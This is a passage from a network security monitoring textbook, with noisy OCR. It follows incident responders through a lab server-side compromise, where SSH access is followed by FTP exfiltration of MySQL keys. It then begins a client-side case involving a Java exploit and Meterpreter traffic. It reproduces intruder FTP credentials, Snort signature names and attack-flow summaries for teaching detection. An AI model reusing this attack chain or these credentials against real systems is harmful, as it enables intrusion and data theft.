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$ zcat ssh.02\:03\:29-03\:00\:00.1log.gz | bro-cut -d
2013-03-10T02:01:10+0000 8zAB2nsjjYd 203.0.113.77® 65438
192.168.3.50 22 success INBOUND SSH-2.0-OpenSSH_5.8p2_hpn13vil
FreeBSD-20110503 SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntul 16678 AU

Listing 10-14: SSH connection logged by Bro

Listing 10-14 shows 203.0.113.77 @ connected via SSH to 192.168.3.5 @.
To understand the rest of the fields, we need to know the headers for the
logfile. Listing 10-15 shows the headers in a Bro SSH log followed by the
same SSH record for 203.0.113.77 connecting to 192.168.3.5.

$ zcat ssh.02\:03\:29-03\:00\:00.log.gz
#separator \x09

#set separator ,

#empty field (empty)

#unset_field -

#path  ssh

#open  2013-03-10-02-03-29

#fields ts uid id.orig h id.orig p id.resp_h

id.resp_p status direction client server resp size

remote location.country code remote_location.region remote_ location.city
remote_location.latitude remote_location.longitude

#itypes time string addr port addr port string enum string
string count string string string double double

1362880870.544761 8zAB2nsjjYd 203.0.113.77 65438
192.168.3.5 22 success INBOUND SSH-2.0-OpenSSH_5.8p2_hpni3vii
FreeBSD-20110503@ SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntui® 16678 AU

#close 2013-03-10-03-00-00

Listing 10-15: SSH connection logged by Bro, with headers

The client and server fields are the most interesting. The client is listed
as SSH-2.0-OpenSSH_5.8p2_hpn13vil FreeBSD-20110503 @, and the server is
SSH-2.0-0penSSH_4.7p1 Debian-8ubuntul @. While you can easily identify the
server version of SSH because you own the system, the information that the
client (the intruder) runs FreeBSD may be interesting. Knowing the exact
version of OpenSSH on the client (again, the intruder) may also help you to
attribute the attack or to correlate it with other incident data.

Unfortunately, the contents of the SSH session are encrypted, meaning
that you can’t decipher them using network-centric means. If the system
had a host-centric tool like OSSEC installed, you might have had data avail-
able from the local system for inspection, but the session records show the
SSH session beginning at 2013-03-10 02:01:10 and terminating at 02:03:24.
Can we tell what the intruder did in this encrypted session? The last few ses-
sion records help answer that question.

Server-side Compromise 227

www.it-ebooks.info


http://www.it-ebooks.info/

Searching Bro FIP Logs

At 2013-03-10 02:02:50 in Figure 10-11, we see an outbound FTP session
from 192.168.3.5 to 203.0.113.4. If this is truly an FTP session, we should be
able to build a transcript to see the contents. We can also quickly check the
Bro FTP log, as shown in Listing 10-16.

$ zcat ftp.02\:03\:11-03\:00\:00.1l0g.gz
#separator \x09

#set_separator ,

#tempty field (empty)

#unset field -

#path  ftp®

#open  2013-03-10-02-03-11

#fields ts uid id.orig _h id.orig p id.resp_h
id.resp_p user password command arg mime_type mime_
desc file_size reply code reply msg tags

extraction_file

#types time string addr port addr port string string string
string string string count count string table[string] file

1362880986.113638 FVmgK1dpQ05 192.168.3.5© 32904

203.0.113.40 21 orr <hidden> STOR ftp://203.0.113.4/./
mysql-ssl.tar.gz@® application/x-gzip gzip compressed data, from

FAT filesystem (MS-DOS, 0S/2, NT) - 226 Transfer complete.

#close 2013-03-10-03-00-00

Listing 10-16: Bro FTP log

Here, we see that someone successfully transferred a file titled
mysql-ssl.tar.gz @ via FTP @ from 192.168.3.5 © to 203.0.113.4 @. The
transcript shows a little more information, as shown in Listing 10-17.

Sensor Name: sovm-eth1

Timestamp: 2013-03-10 02:02:50

Connection ID: .sovm-eth1_1362880970000002980

Src IP: 192.168.3.5 (Unknown)

Dst IP: 203.0.113.4 (Unknown)

Src Port: 32904

Dst Port: 21

0S Fingerprint: 192.168.3.5:32904 - Linux 2.6 (newer, 1) (up: 5 hrs)
0S Fingerprint: -> 203.0.113.4:21 (distance 0, link: ethernet/modem)

DST: 220 freebsdvm® FTP server (Version 6.00LS) ready.
DST:

SRC: USER orr®

SRC:

DST: 331 Password required for orr.

DST:

SRC: PASS bobby®

228 Chapter 10
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SRC:

DST: 230 User orr logged in.

DST:

SRC: SYST

SRC:

DST: 215 UNIX Type: L8 Version: BSD-199506®
DST:

SRC: TYPE I

SRC:

DST: 200 Type set to I.

DST:

SRC: PORT 192,168,3,5,128,244

SRC:

DST: 200 PORT command successful.

DST:

SRC: STOR mysql-ssl.tar.gz

SRC:

DST: 150 Opening BINARY mode data connection for 'mysql-ssl.tar.gz'.
DST:

Listing 10-17: Transcript of intruder FTP command channel to 203.0.113.4

I like this guy. His password is bobby @, and his username is orr @. This
FTP server is running on a system that identifies itself as freebsdvm ®, with
UNIX Type L8 Version: BSD-199506 @. Again, we could use this information to
possibly link this case with others, if appropriate.

We don’t know what the intruder did to acquire the contents of this file.
Can we determine what’s in it?

Decoding the Theft of Sensitive Data

In fact, we can retrieve the mysql-ssl.tar.gz archive by virtue of the full con-
tent data collection performed by our NSM platform. We’ll derive extracted
content data from full content data using the tool that Sguil uses to rebuild
transcripts, called Tcpflow (https://github.com/simsong/tcpflow). Jeremy Elson
wrote the first version of Tcpflow, but in recent years Simson Garfinkel has
assumed responsibility for the project.

Tcpflow reconstructs TCP sessions. For example, in Listing 10-18, we
tell Tepflow to rebuild all TCP sessions involving port 20, the TCP port used
for the active FTP data channel shown in the session records.

$ tcpflow -r /nsm/sensor_data/sovm-ethi/dailylogs/2013-03-10/snort.log.1362873602 port 200

192.168.003.005.33012-203.000.113.004.00020©® 203.000.113.004.00020-192.168.003.005.56377®

report.xml®

192.168.003.005.33012-203.000.113.004.00020@: gzip compressed data, from Unix, last modified:
Sun Mar 10 02:02:23 2013
203.000.113.004.00020-192.168.003.005.56377@: ASCII text, with CRLF line terminators

XML document text
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$ cat 203.000.113.004.00020-192.168.003.005.56377

total 1936

drwxr-xr-x 2 orr orr 512 Mar 9 21:03 .

drwxr-xr-x 4 root wheel 512 Mar 9 20:47 ..

-IW-r--I-- 1 orr oIr 1016 Mar 9 20:47 .cshrc
-IW-Y--r-- 1 orr OIY 254 Mar 9 20:47 .login
-IW-Y--r-- 1 orr OIY 165 Mar 9 20:47 .login_conf
-TW------- 1 orr orr 381 Mar 9 20:47 .mail_aliases
-IW-r--I-- 1 orr oIr 338 Mar 9 20:47 .mailrc
-IW-r--r-- 1 orr orr 750 Mar 9 20:47 .profile
-IW------- 1 orr orr 283 Mar 9 20:47 .rhosts
-IW-r--I-- 1 orr orr 980 Mar 9 20:47 .shrc
-IW-I--I-- 1 0rr orr 915349 Mar 9 21:03 mysql-ssl.tar.gz©®

Listing 10-18:
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Tepflow reconstruction of sessions involving port 20

Listing 10-18 first shows how to run Tcpflow against an interesting trace,
with a BPF limiting reconstruction to traffic involving port 20 @. Next, we
see the output of the Tcpflow reconstruction in the form of a directory list-
ing @. The output shows two sides of the network session, in the form of two
files, ® and @, and a report.xml file ® describing what Tcpflow did. Next, we
use the file ® command to show the type of each of those files.

Extracting the Stolen Archive

The file 192.168.003.005.33012-203.000.113.004.00020 @ is a gzip archive
transferred during the FTP session. The file 203.000.113.004.00020-192
.168.003.005.56377 ® is an ASCII text file, corresponding to a directory list-
ing returned from the FTP server to the client 192.168.3.5. This directory
listing was transferred after the intruder copied mysgl-ssl.tar.gz to the server.
This confirms the successful transfer of mysql-ssl.tar.gz ©, because that file
is now listed and stored on an FTP server controlled by the intruder. This
could be bad news for Vivian’s Pets, if that file is a sensitive archive.

Thanks to capturing full content data, we also have a copy of mysql-ss
.tar.gz at our disposal. The gzip archive represented by file 192.168.003.005
.33012-203.000.113.004.00020 @ is likely the mysql-ssl.tar.gz file stolen by the
intruder. We extract it using the tar program, as shown in Listing 10-19. As
you can see, it appears to contain the keys associated with a MySQL server.

$ tar -xzvf 192.168.003.005.33012-203.000.113.004.00020
mysql-ssl/

mysql-ssl/yassl-1.9.8.zip

mysql-ssl/my.cnf

mysql-ssl/mysqld.gdb

mysql-ssl/mysql-keys/
mysql-ssl/mysql-keys/server-cert.pem
mysql-ssl/mysql-keys/ca-cert.pem
mysql-ssl/mysql-keys/client-req.pem
mysql-ssl/mysql-keys/server-key.pem
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mysql-ssl/mysql-keys/server-req.pem
mysql-ss1/mysql-keys/client-key.pem
mysql-ssl/mysql-keys/client-cert.pem
mysql-ss1/mysql-keys/ca-key.pem

Listing 10-19: Contents of the mysql-ssl.tar.gz archive stolen by the intruder

With this data in hand, the Vivian’s Pets CIRT must summarize what
has happened in order to fully understand the intrusion.

Stepping Back

At this point in the NSM process, the CIRT should consider what it under-
stands about the intrusion before making recommendations to business
owners. Using illustrations to depict what has happened at each stage is a
helpful analytical step.

Summarizing Stage 1

Figure 10-13 summarizes the first few phases of this intrusion, which we can
call stage 1.

1. Intruder conducts reconnaissance against two potential victims.

NETWORK SCANNING Victim 1
Introdert.~~ - 192.168.3.5
203.0.113.10 Victim 2
192.168.3.13
2. Intrud loits vsftpd i ictim 1.
ntruder exploits vsftpd service on Victim Victim 1
NETWORK CONNECTION 192.168.3.5
Introdert.~~~ -
203.0.113.10 .
Exploited
3. Intruder connects to backdoor on Victim 1.
NETWORK CONNECTION
Intrydert - Victim 1
203.0.113.10 192.168.3.5
4. Intruder fails to exploit vsftpd service on Victim 2.
NETWORK CONNECTION Victim 2
Intruder 1 192.168.3.13

03,0 113,10 s -

Figure 10-13: Stage 1 of server-side compromise

Server-side Compromise 231

www.it-ebooks.info


http://www.it-ebooks.info/

232

Chapter 10

In stage 1, the intruder at 203.0.113.10 conducted network reconnais-
sance against two computers: 192.168.3.5 and 192.168.3.13. The intruder
found port 21 TCP listening on both systems, so he attempted to compro-
mise that service on both targets. He successfully compromised the vsftpd
server on 192.168.3.5, causing a backdoor to open on port 6200 TCP on
that system. He was not able to use the same technique to gain unauthor-
ized access to 192.168.3.13.

Summarizing Stage 2

Figure 10-14 summarizes the remainder of this intrusion, called stage 2.

5. Intruder 2 connects via SSH to Victim 1.

SSH CONNECTION

Intruder 2 Victim 1
203.0.113.77 192.168.3.5

6. Intruder 2 instructs Victim 1 to upload
stolen data to FTP server on Intruder 3.

SSH CONNECTION

INtUder 2 >
203.0.113.77 v :
ictim
FTP CONNECTION 192.168.3.5
Intruder 3 eeee et ee e e ee et e et e e e e e ee e e ee e
203.0.113.4

Figure 10-14: Stage 2 of server-side compromise

In stage 2, a new intruder IP address, 203.0.113.77, connects via SSH to
192.168.3.5. While interacting with the victim, the intruder created or dis-
covered an archive titled mysql-ssl.tar.gz. He then uploaded that archive via
FTP to a third system, 203.0.113.4, which may be another FreeBSD system.

Next Steps

As explained in Chapter 9, escalation and resolution are the two phases fol-
lowing the collection and analysis phases of the NSM workflow. With analy-
sis complete, the CIRT must identify the owners of the affected systems,
and explain the nature of the data identified as being stolen. In turn, the
asset owner must evaluate the impact of the loss of data and simultaneously
authorize the CIRT to take short-term incident containment measures. The
most effective containment mechanism involves removing the compromised
systems from the network.

First, disconnect 192.168.3.5 from the network. We should consider
it untrustworthy because we don’t know what the intruder did during
his encrypted OpenSSH session. The CIRT should also determine if any
information on 192.168.3.5 is sensitive, to help decide whether this event
qualifies as a Breach 2 or Breach 1 incident. The differentiation lies in the
importance and sensitivity of the stolen data.
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The CIRT should determine if any information taken from 192.168.3.5
could lead to other intrusions. Are there any accounts that could also be
used to log in to other Vivian’s Pets systems? Are there configuration files
that would enable additional access? Are any business partners or custom-
ers at risk? Involving the business, legal, and other teams may become
necessary as the CIRT evaluates the impact of the intrusion. Ultimately,
192.168.3.5 should be retired because it is no longer a trustworthy plat-
form. This could be a hard lesson for the I'T and security staff: When the
Metasploitable developers warn users to keep their distribution off the
Internet, they mean it!

Conclusion

This chapter walked through a server-side compromise. We utilized several
forms of NSM data to analyze an intrusion targeting two systems in the
Vivian’s Pets test network. By examining alert, session, full content, transac-
tion, and extracted content data, we learned that an intruder stole system
information and a compressed archive associated with MySQL.

We also learned that NSM data can’t answer every question by itself.
Once the intruder leveraged stolen credentials (via the /etc/passwd and /etc/
shadow files) to connect via OpenSSH, we couldn’t see the commands he ran,
although we could see derivative actions like uploading an archive via FTP.

Using an NSM tool bundled with Sguil, we rebuilt the stolen archive,
although we could have done the same sort of reassembly using Wireshark
or another tool.

This case introduced the idea of patterns of attack and how to analyze
them using NSM tools and methods. In the next chapter, we’ll turn the
tables slightly and review a client-side compromise.
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CLIENT-SIDE COMPROMISE

In the previous chapter’s examples,
an intruder conducted reconnaissance

against remote targets, identified services,
and attacked them. After gaining access to

one system with a vulnerable service, the intruder

archived files of interest and exfiltrated them to a

remote server. All of this activity took place without

the explicit involvement of a user on the Vivian’s Pets

network.

This chapter demonstrates a client-side compromise—one of the other
major categories of malicious network activity you are likely to encounter.
Although this incident involves remote systems, the intruder does not initiate
the attack in the same manner as in a server-side compromise. We will use
similar NSM methodologies to detect and respond to the intrusion.
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Client-side Compromise Defined

Client-side compromise involves an intruder exploiting an application with
which a user interacts. This application could be a web browser, email client,
media player, or any other program that users rely on for access to network
resources. An attacker might trick a user into visiting a compromised site
and revealing her credentials, or he might simply position himself to take
advantage of a routine that the user follows.

Client-side attacks have been popular since the mid-2000s, when attack-
ers realized that if they could convince a user application to execute (or be
subject to) malicious code, their attacks would be more likely to succeed.
Many organizations devote resources and expertise to countering server-side
attacks, but client-side attacks are much more difficult to stop or even detect.
Figure 11-1 shows a generic attack pattern for a client-side compromise.

1. Victim executes malicious code on
system, after being solicited by intruder
or by innocent computer use.

PHISHING EMAIL
Infruder - - - - - - - - - - - - - - — - - — -~ > Victim

OR

WEBSITE VISIT
Website hosting

maliciouscode T T TTTTTTTTTTTTTToTC Victim
OR

Malicious code SOCIAL MEDIA OR OTHER COMMUNICATION

onsocial mediac < - - = — - - - - - - - — — - — — - - — - —— - Victim

or other site

2. Attack method exploits vulnerable application

on victim system to execute code or commands, Exploited
or run an unwanted malicious application.
NETWORK CONNECTION
Intruder - Victim

3. Malicious code causes victim to reach back to intruder

Figure 11-1: Client-side compromise attack pattern

As you can see in Figure 11-1, three of the most popular clientside attacks
involve phishing email, visiting websites, and interacting with social media.
How is this possible?

236 Chapter 11

www.it-ebooks.info


http://www.it-ebooks.info/

In all three attacks, an intruder creates an unsafe communication of
some type. With a phishing email message, perhaps the intruder attaches a
malicious executable, such as a document designed to exploit a vulnerable
application like Microsoft Word or Adobe Reader. Phishing email messages
or social media may also contain links to malicious websites operated by the
intruder specifically to perform attacks. The target site could also be a com-
pletely legitimate one, such as a news or sports page, where an attacker has
inserted malicious code that compromises those who visit the site.

The latest variants of these attacks are called watering hole or strategic web-
site compromise attacks. An intruder compromises a website that she expects
her targets to visit, such as a human rights or think tank site. When interested
parties visit the site, malicious code attacks them without their knowledge.
These attacks are fairly devastating because they are not tightly targeted
(the intruder can’t be sure that her intended prey will visit the website),
but they can be very stealthy because victims surfing the Web normally are
unwittingly caught in this trap.

Client-side attacks can result in the same levels of access as server-side
attacks (discussed in Chapter 10). An attempt to exploit a vulnerable appli-
cation, regardless of whether it succeeds, is a Cat 3 incident. If the attack
succeeds and the intruder achieves user-level access, the scenario now quali-
fies as a Cat 2 intrusion. If the intruder gains administrator- or root-level
privileges, we must deal with a Cat 1 intrusion. Once the intruder estab-
lishes a command-and-control channel, it’s Breach 3. And if the intruder
begins stealing data or taking other actions, we could be dealing with a
Breach 2 or even a Breach 1 intrusion. (See Figure 9-5 on page 194 for
intrusion category definitions.) Whatever the category, the goal of the CIRT
is, as always, to quickly determine the extent of the incident and to take
rapid actions to contain the attack and mitigate risk of data loss, alteration,
or degradation.

Client-side Compromise in Action

For this chapter’s example, we’ll look at a client-side compromise that takes
place on the Vivian’s Pets network but involves different computers. To
make the situation slightly more complicated, the activity in question will
be monitored by an NSM sensor watching two segments. This is a configu-
ration supported by SO and it seems like a good choice when the hardware
in question can support the additional load. We’ll see if that decision is jus-
tified! The network appears as shown in Figure 11-2.

With this sensor configuration, the NSM platform will see traffic both
to and from the wireless network and the internal network. (I've completely
simulated the network here in order to include the NAT issues discussed
earlier in the book, but they do not play a major role.)
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Tap

Wireless
Network

NSM

Internal
Network

Laptop

172.16.0.37
Figure 11-2: Wireless and internal network segments on Vivian’s Pets network

Getting the Incident Report from a User

One afternoon the Vivian’s Pets CIRT receives a call from a concerned user.
She reports logging in to Twitter and searching for messages to her user-
name. She noticed a tweet from an unfamiliar username, Callbackpnsm, and
the message was a little unsettling. The unknown tweet mentioned “updates
to our health care plan” and provided a link to a site with healthcarenews in
the URL. Curious, she copied and pasted the URL into her Firefox web
browser to take a look. Figure 11-3 shows the suspicious tweet.

Tweets Top/ All/ People you follow

Callbackpnsm = Callbackpnsm im
([@ubu32pnsm Have you seen the updates to our health care plan?
YR Gl Y T o htip://203.0.113. 15:8080/healthcarenews
Expand

Figure 11-3: Tweet from Callbackpnsm
When an unknown or suspicious Twitter user sends a link to an un-

recognized website, most security analysts become nervous. At this point,
the Vivian’s Pets CIRT suspects that the unfortunate user has fallen for a
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client-side attack. The CIRT asks if the user recalls seeing anything suspi-
cious after visiting the URL. The user replies that she saw something about
a Java installation, and when she clicked through to learn about the health
care update, all she saw was a blank page.

The user became worried that something was wrong, so she decided
to turn to the CIRT to get some help. The CIRT thanks the user for her
report. It’s time to start investigating!

Starting Analysis with ELSA

One way to begin the analysis process is to query logs for the IP address in
the tweet. We’ll start with ELSA.

Querying for the IP Address

First, we’ll make sure that the ELSA query time frame begins before the user
experienced the odd activity, and then we’ll add the IP address in question,
203.0.113.15, to the search bar. The results are shown in Figure 11-4.

ELSA~  Admin ~ 1 node(s) with 8750.0 logs indexed and 17518.0 archived|=
Query [203.0.113.15 Submit Query | Help
From [2013.03-14 18:33:24  To | Add Term - | | Reporton ~ | | index~ | [ Reuse cunenttab () Grid display

Result Options... » | Field Summary
host(1) program(3) class(3) sig_priority(2) proto(l) srcip(2) srcport(4) dstip(2) dstport(6) sig_sid(9) sig_msa(9) sig_classification(3) interface(1)
status_code(2) content_length(2) method(1) site(1) uri(2) referer(1) user_agent(1)

Records: 100 [ 244 203 ms ? < first prev 1234 5|6 7 next> last>> 15 v
Timsstame = Fields

[1:2014561:2] ET CURRENT_EVENTS landing page with malicious Java applet [Classification: Potentially Bad Traffic] [Priority: 2J;
{TCP) 208.0.113.15:8080 > 172.16.0.37:60320
0.0.1p c

Sat Mar 16
14:16:49

=1
5

[1:2014297:19] ET POLICY Vulnerable Java Version 1.7.x Detected [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP}
Sat Mar 16 172 16.0.37:60321 -> 203.0.113.15:8080
14:16:53 host=127.0.0.1 program=snort class=SNORT sig_priority=2 proto=TCP srcip=172.16.0.37 srcpori=60321 dstip=208:0: 31315 dsipori=
5 :2014297:19 sig_msg=ET POLICY Vulnerable Java Version 1.7.x Detected siq_classification=Potentially Bad Traffic interfaces telrace—

[1:2014297:19] ET POLICY Vulnerable Java Version 1.7.x Detected [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP}
Sat Mar 16 172.16.0.37:60321 -> 203.0.113.15:8080

Info

=
5

— | 14:16:53 SNORT sig_priority=2 proto=TCP =172.16.0.37 321 dstip=203.0.318.15 d=t|
ET POLICY Vulnerable Java Version 1.7.x Detected si =Potentially Bad Traffic in
[1:2014561:2] ET CURRENT_EVENTS landing page with Java applet [CI y Bad Traffic] [Priority: 2]
Sat Mar 16 {TCP} 203.0.113.15:8080 -> 172.16.0.37:60321
Info 14'16:53 h :127.0.0.1 program=snort class=SNORT sig_priority=2 proto=TCP srcip=208.0.113.1§ srcport=8080 =172.16.0.37 dstport=60321
o 14561:2 sig_msg=ET CURRENT EVENTS landing page with malicious Java applet sig_clas: on=Potentially Bad Traffic
[1:2015657:1] ET CURRENT_EVENTS Oday JRE 17 metasploit Exploit Class [Classification: A Network Trojan was detected] [Priority: 1]:
o Sat Mar 16 (T P} mn.:uz. :8080 -> 172.16.0.37: 603\22 )
T [t A Network Trojan was

detected interface= -

Figure 11-4: Initial ELSA query results for 203.0.113.15

ELSA tells us that it has 244 records, but, by default, it limits itself to
100 results. The oldest entry appears first. The results are not encourag-
ing, with mentions of malicious Java applet and Vulnerable Java Version
1.7.x Detected. Seeing oday JRE 17 metasploit Exploit Class is even worse.
Thankfully, we do now have the victim’s IP address: 172.16.0.37. Rather
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than scroll through multiple pages of output, we select the program element
near the top of the screen to see a summary count of all data sources ELSA
possesses for this IP address. Figure 11-5 shows the result.

203.0.113.15 (244)| % 113.15 (247) [Grouped by program] [ES

| Result Options... = |

241 snort
2 bro_http
1 bro_conn

Save Chart As...

Figure 11-5: ELSA displays data sources for logs for 203.0.113.15.

As you can see, Snort alerts dominate the results, although there are
two HTTP records and one Bro connection log record.

Checking the Bro HTTP Log
Clicking the bro_http link provides the results shown in Figure 11-6.

Records: 2/2 64 ms ? first < pr 1T last 15T

S
G

=
G

Tim&ctame = Fields

1363443412.560069|jP3tgbrwiLui|172.16.0.37|60321|203.0.113.15|8080| 1|GE T|203.0.113.15|/healthcarenews/Exploit.jar.pack.gz|-|Mozilla/4.0
100]302|Moved|-|-|-|(empty)|-|

(Linux 3.5. 0—251;ener|c) Javall.7
fjtl’:_‘;;m I rogr: BRO_HTTP srcip=172.16.0.37 srcport=60321 dstip=
faat .0.113.15 Uri={healthcarenews/Exploit. jar.pack.gz refere
1363443412.722747|jP3tgbrWLLui|172.16.0.37|60321|203.0.113.15|8080|2| GET|203.0.113. 15|/ healthcarenews/|-|Mozilla/4.0 (Linux 3.5.0-25-
Sat Mar16  generic) J.-wau 7.0 oe|n|1zo|zon|oK -|H(empty)|-

14:16:58 27.0. OIS cip=172.16.0.37 srcport=60; i .0, oo 1e=200
C ern 5 = ! Java/l.7.0_06

Figure 11-6: ELSA displays Bro HTTP log records for 203.0.113.15.

240

These two events bear the same timestamp in ELSA, but the Bro time-
stamp shows that the top request happened first. That seems a little odd,
given that it’s a request for healthcarenews/Exploit.jar.pack.gz. The second
record, with a later timestamp, is for the healthcarenews page itself.

Seeing a download for content titled Exploit.jar.pack.gz doesn’t inspire
confidence. We need to find out what else happened to this victim system.

Checking Snort Alerts

Returning to the first open tab in ELSA, we notice the sig_msglink. Clicking
this link creates a new tab with a summary count of each of the Snort alerts
associated with 203.0.113.15, as shown in Figure 11-7.

The summary of observed Snort signatures includes references to the
Metasploit Meterpreter, including the core_channel and stdapi, with Command
Request and Command Response for each. This is not encouraging either.
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Metasploit (hitp://www.metasploit.com/) is an open source reconnaissance
and exploitation framework created by HD Moore and now supported by
Rapid7 and a team of developers. The Meterpreter is a Metasploit payload,
code used by an attacker after initially gaining access to a target using an
exploit delivered by another Metasploit module. Terms like core_channel and
stdapi refer to functions and features in the Metasploit suite, and Command
Request and Command Response indicate communication between the attacker’s
system and the victim.

ouped by sig_msg] IEX
Result Options... =
Count Value
76 ET TROJAN Metasploit Meterpreter core_channel_* Command Request
75 ET TROJAN Metasploit Meterpreter core_channel_* Command Response
29 ET TROJAN Metasploit Meterpreter stdapi_* Command Request
27 ET TROJAN Metasploit Meterpreter stdapi_* Command Response
10 ET INFO JAVA - Java Archive Download By Vulnerable Client
10 ET CURRENT_EVENTS Oday JRE 17 metasploit Payload Class
10 ET CURRENT_EVEMNTS Oday JRE 17 metasploit Exploit Class
2 ET POLICY Vulnerable Java Version 1.7.x Detected
2 ET CURRENT_EVENTS landing page with malicious Java applet
Save Chart As...

Figure 11-7: ELSA displays a summary of Snort signatures for 203.0.113.15.

The intruder appears to have gained the ability to execute code on the
victim via a Java exploit.

Searching for Other Activity

Next, we need to determine if this intruder interacted with any other systems.
To accomplish that task, we return to the first tab with all the information for
203.0.113.15 and click the sreip link. ELSA tells us that only 203.0.113.15 and
172.16.0.37 have records associated with 203.0.113.15, but for good measure,
we also click the dstip link and get the same results. That means we probably
have a handle on all activity involving 203.0.113.15—that IP address did not
communicate with any other system we watch.

Still, that result doesn’t mean that no other activity affected the victim,
172.16.0.37. To investigate that lead, we run a new ELSA query for 172.16.0.37
and then click the programlink to get a summary count of records. We need
to know what other connections 172.16.0.37 conducted. Figure 11-8 shows
the results.

We take a similar approach to investigating these logs. First, we check
out the Snort alerts, summarize them, and look for new information. Nothing
new appears here, except we see Snort alerts for package management,
probably due to system updates.
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203.0.113.15 (244) X H 172.16.0.37 (513) X 0.37 (519) [Grouped by pro
Result Options... = |
(Count  ~ Value

349 snort

a5 bro_conn

44 bro_ssl

23 bro_dns

10 bro_http

2 bro_notice

Figure 11-8: ELSA displays data sources for logs for 172.16.0.37.

Next, we look at the dstip information and get results, as shown in
Figure 11-9. (I've snipped the results to concentrate on the most pertinent
information.)

203.0.113.15 (244)| X H 172.16.0.37 (513)| % 2.16.0.37 (543) [Grouped by dstip] [[El
| Result Options... = |
Count  Value

137 172.16.0.37
107 203.0.113.15
91 91.189.91.13
44 198.51.100.3
24 93.184.216.139
14 91.189.88.33
9 199.59.150.7
8 23.66.231.64
8 23.66.231.43
8 23.66.231.42
8 23.66.231.51

5 10.0.0.99

Figure 11-9: ELSA displays a summary of dstip entries for 172.16.0.37.

One entry catches our attention. The bottom record shows 10.0.0.99, an
IP address in the Vivian’s Pets internal network. That means there were five
connections between 172.16.0.37 and 10.0.0.99. Are these legitimate? Could
one or more be caused by an intruder abusing 172.16.0.37?

Clicking the IP address 10.0.0.99 tells ELSA to query for records where
10.0.0.99 was the destination IP address and 172.16.0.37 was the source IP
address. Figure 11-10 shows the results.

These records show three SSH connections. All three appear in the
Bro conn.logfile, and two appear as “heuristic detections” in the Bro notice.log
file. These connections could involve transfers of data via a program like
Secure Copy (scp) or interactive logins using SSH. It’s probably worth look-
ing for all activity involving 10.0.0.9, so we run a new query (not shown)
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for only that IP address, and group the results by program. They show
121 Snort alerts, 23 conn.log entries, 18 dns.log entries, 2 notice.log entries,
and 1 http.log entry.

Using the same investigative steps, we query each of the log types for any-
thing interesting. All of the Snort alerts for 10.0.0.9 appear to be related to
package management, as do the Bro log entries for the rest of the activity.

Is that the end of the case? Was 172.16.0.37 the only victim, and the
SSH connections to 10.0.0.9 normal business activity? Could our NSM plat-
form have missed something?

Query [172.16.0.37 +dstip="10.0.0.89" Submit Query | Help
From [2013-0314 18:33:24  To | | Add Term = ‘ | ReportOn = | ‘ Index + ‘ (] Reuse current tab (] Grid display

203.0.113.15 (244)| X

” 172.16.0.37 (513)| X ” 172.16.0.37 (543) [Grouped by dstip] %

Result Options... » | Field Summary
host(1) program(2) class(2) srcip(1) srcport(3) dstip(1) dstportf1) notice_type(l) notice_msq(1) proto(1)

Records: 5/5 153 ms 2 irst prev 1 next> last 15 v
Time;tame = Fields
1363443955.587505|GHOOCATmSva|172.16.0.37|41138|10.0.0.99]22|tcp| SSH::Login|Heuristically SSH login.|-
Inip | SalMarls  |172.16.0.37)10.0.0.99]22]-|sovm-eth2-1|Notice: ACTION LOGIE| |-
— | 142557 I 127.0.0.1 program=pro_notice BRO_NOTICE 72.16.0.37 =i =41138 dstip=10.0.0.99 dsipori=22 notice_tyvpe=SSH::Login
i Heuristically detected successful SSH login.
Sat Mar1  1363443873.014662|GHOOCA7mSva|172.16.0.37|41138|10.0.0.89|22|tcp|ssh| 76.672733|3247| 19063| SFIT| 0] S hAd DaFf|104|8663(84|23439|
Infp RS (empty)H-
e host=127.0.0.1 program=bro_conn class=BRO_CONN srcip=172.16.0.37 srcport=41138 dstip=10.0.0.99 dstport=22 proto=TCP
Sat Mar1 | 1363444243.108448|aW88giDSFBA|172.16.0.3714114310.0.0.98|22]tcp| ssh| 12.289437| 102495[1927| SFIT|0|S hAd DaFf|93107339]42|4119|
Infp T2 e (empty)--
o host=127.0.0.1 program=pro_conn class=BRO_CONN scip=172.16.0.37 srcport=41143 dstip=10.0.0.99 dstport=22 proto=TCP
1363445247.466031[XuafY digXUj|172.16.0.37|41144|10.0.0.99|22|tcp|SSH::Login|Heur y SSH login.|-
nip | SatMaris  |172.16.0.37/10.0.0.89]22|| th2-1] ::ACTION_LOG|6|3600.000000|F]-|-|-|-|-|-|-|-
= 144728 I 127.0.0.1 am=hro_notice class=BRO_NOTICE srcip=172.16.0.37 srcport=41144 dstip=10.0.0.99 dstpo
g=Heuristically detected successful SSH login.
BTG 1363444269.581421|XuafY digXUj|172.16.0.37|41144|10.0.0.99|22|tcp|ssh|972.884311|3775| 71847|SF| T|0|ShAdDaF1| 681| 39195|806] 113767|
o o (empty)l--
e I 127.0.0.1 program=pro_conn c =BRO_CONN =rcip=172.16.0.37 r=41144 dstip=10.0.0.99 or=22 proto=TCP

Figure 11-10: ELSA displays Bro log records for source IP 172.16.0.37 and destination IP 10.0.0.9.

Looking for Missing Traffic

At this point, we suspect that something may be wrong, and we want to
make sure that the NSM platform is performing as expected. Is our system
up to the task of watching two segments? Could it be dropping traffic?

One way to answer these questions is to check Bro’s capture_loss.log, which
reports on Bro’s packet-capture performance. Listing 11-1 shows the contents
of the log at the time of this incident.

$ cat /nsm/bro/logs/current/capture_loss.log
#separator \x09

#set_separator ,

#tempty field (empty)

#unset field -

#path  capture_loss

#open  2013-03-16-15-02-50

#fields ts ts_delta peer gaps acks percent lost

#types time interval string count count string
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1363446165.986403 900.000429 sovm-eth2-1 0 0 0.000%

1363446165.992449 900.000470 sovm-eth1-1 0 0 0.000%
1363447065.986807 900.000404 sovm-eth2-1 17963 19964 @89.977%
1363447065.992765 900.000316 sovm-eth1-1 0 0 0.000%

Listing 11-1: Bro capture_loss.log

The second-to-last entry at @ is shocking. It shows that Bro dropped
89.977 percent of the traffic seen on the second sniffing sensor interface.
That could be devastating! (Bro may have run out of memory trying to
track a lot of network activity on an underpowered sensor.)

When monitoring a live interface, Bro must make decisions about which
traffic to inspect and which traffic to ignore, simply to try to keep pace with
the live packet stream. When run against a saved trace, Bro has more time
for processing packets, perhaps offering a more thorough analysis.

Remember that one of the tenets of NSM is to use multiple tools for
collection and analysis, so if one tool fails, different sources of data may
still help you determine what happened. Checking the /nsm/sensor_data/
sovm-eth2/dailylogs/2013-03-16 directory on the NSM platform, we find the
163MB snort.log. 1363441680 file, which contains the full content data cap-
